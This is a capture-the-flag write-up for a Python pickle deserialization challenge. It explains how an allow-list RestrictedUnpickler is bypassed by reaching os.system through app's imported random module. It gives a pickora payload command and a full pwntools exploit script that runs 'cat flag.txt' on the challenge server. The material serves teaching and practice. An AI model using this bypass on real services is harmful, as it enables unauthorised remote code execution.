Summary
The challenge was categorized as easy
and involved the exploitation of the Python deserialization mechanism (Pickle) with a protection mechanism implemented using an allow list of classes that can be deserialized. The goal was to bypass the protection and achieve remote code execution to read the flag.txt file located in the same directory.
First Steps
The code consists of two source files: app.py
and sandbox.py
. In the app.py
, a console-based application is implemented with a 3-option menu:
1. View current members
2. Register new member
3. Exit
The app.py
file includes the definition of the Phreaks
class as follows:
class Phreaks:
def __init__(self, hacker_handle, category, id):
self.hacker_handle = hacker_handle
self.category = category
self.id = id
The list of serialized Phreaks
objects is hardcoded in the app.py
file. The Register new member
option enables users to add serialized objects to this list.
When selecting the View current members
option, the list of objects is deserialized and displayed in the console.
Sandbox Overview
Serialization and deserialization are handled by pickle
and unpickle
methods as defined in the sandbox.py
file:
def unpickle(data):
return RestrictedUnpickler(BytesIO(b64decode(data))).load()
def pickle(obj):
return b64encode(_pickle.dumps(obj))
The deserialization process is “sandboxed” using the RestrictedUnpickler
class. This class restricts deserialization to specific modules, such as __main__
and app
, while prohibiting everything from the __builtins__
module, including eval
.
ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']
class RestrictedUnpickler(_pickle.Unpickler):
def find_class(self, module, name):
print(module, name)
if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
print(f"[*] Loading {module} : {name}")
return super().find_class(module, name)
else:
print(f"[!] Illegal module: {module} : {name}")
raise _pickle.UnpicklingError()
Bypassing Sandbox
First, it is essential to comprehend the current functionalities available and imported in app.py
:
from sandbox import unpickle, pickle
import random
Initially, there seems to be nothing of interest. However, upon closer inspection of the random
module, it becomes apparent that it imports os
under the alias _os
:
import os as _os
Consequently, we can leverage the command execution function using random._os.system()
. The challenge lies in encapsulating this within the serialized object.
Fortunately, the RestrictedUnpickler
is not unique to this challenge alone. It features in various open-source projects, such as dirsearch, which has an identified issue #1073. Leveraging examples from these sources, one can construct tailored commands:
python pickora.py -c "GLOBAL('lib.core.settings', 'os.system')('id')"
To adapt this for our scenario:
python pickora.py -c "GLOBAL('app', 'random._os.system')('cat flag.txt')" | base64 -w0
Pickora proves invaluable for devising serialized Python payloads. Embedding the serialized payload into the application (option 2
from the menu) and subsequently displaying the list of members with the custom payload at the end (option 1
from the menu) concludes the process.
Full Solution
Here is an automated solution built with pwntools framework. It takes IP and PORT as command line arguments, for example:
python solve.py 10.10.10.1 1234
from pwn import *
from pickora.compiler import Compiler
import pickle
from base64 import b64encode
import sys
compiler = Compiler(protocol=pickle.DEFAULT_PROTOCOL, optimize=False, extended=True)
source = """
GLOBAL('app', 'random._os.system')('cat flag.txt')
"""
payload = compiler.compile(source)
payload_encoded = b64encode(payload)
p = remote(sys.argv[1], sys.argv[2])
info(p.recv().decode("utf-8")) #initial instructions
info("Sending `2` - adding new malformed member")
p.sendline(b"2")
info(p.recv().decode("utf-8")) # next instructions
info("Sending payload...")
info(f"Source: {source}")
info(f"Payload:{payload_encoded.decode('ascii')}")
info(f"Raw payload: \n{hexdump(payload)}")
p.sendline(payload_encoded)
info(p.recv().decode("utf-8")) # next instructions
info("Sending `1` - listing all memebers")
p.sendline(b"1")
info(p.recvuntil("}").decode("utf-8")) # flag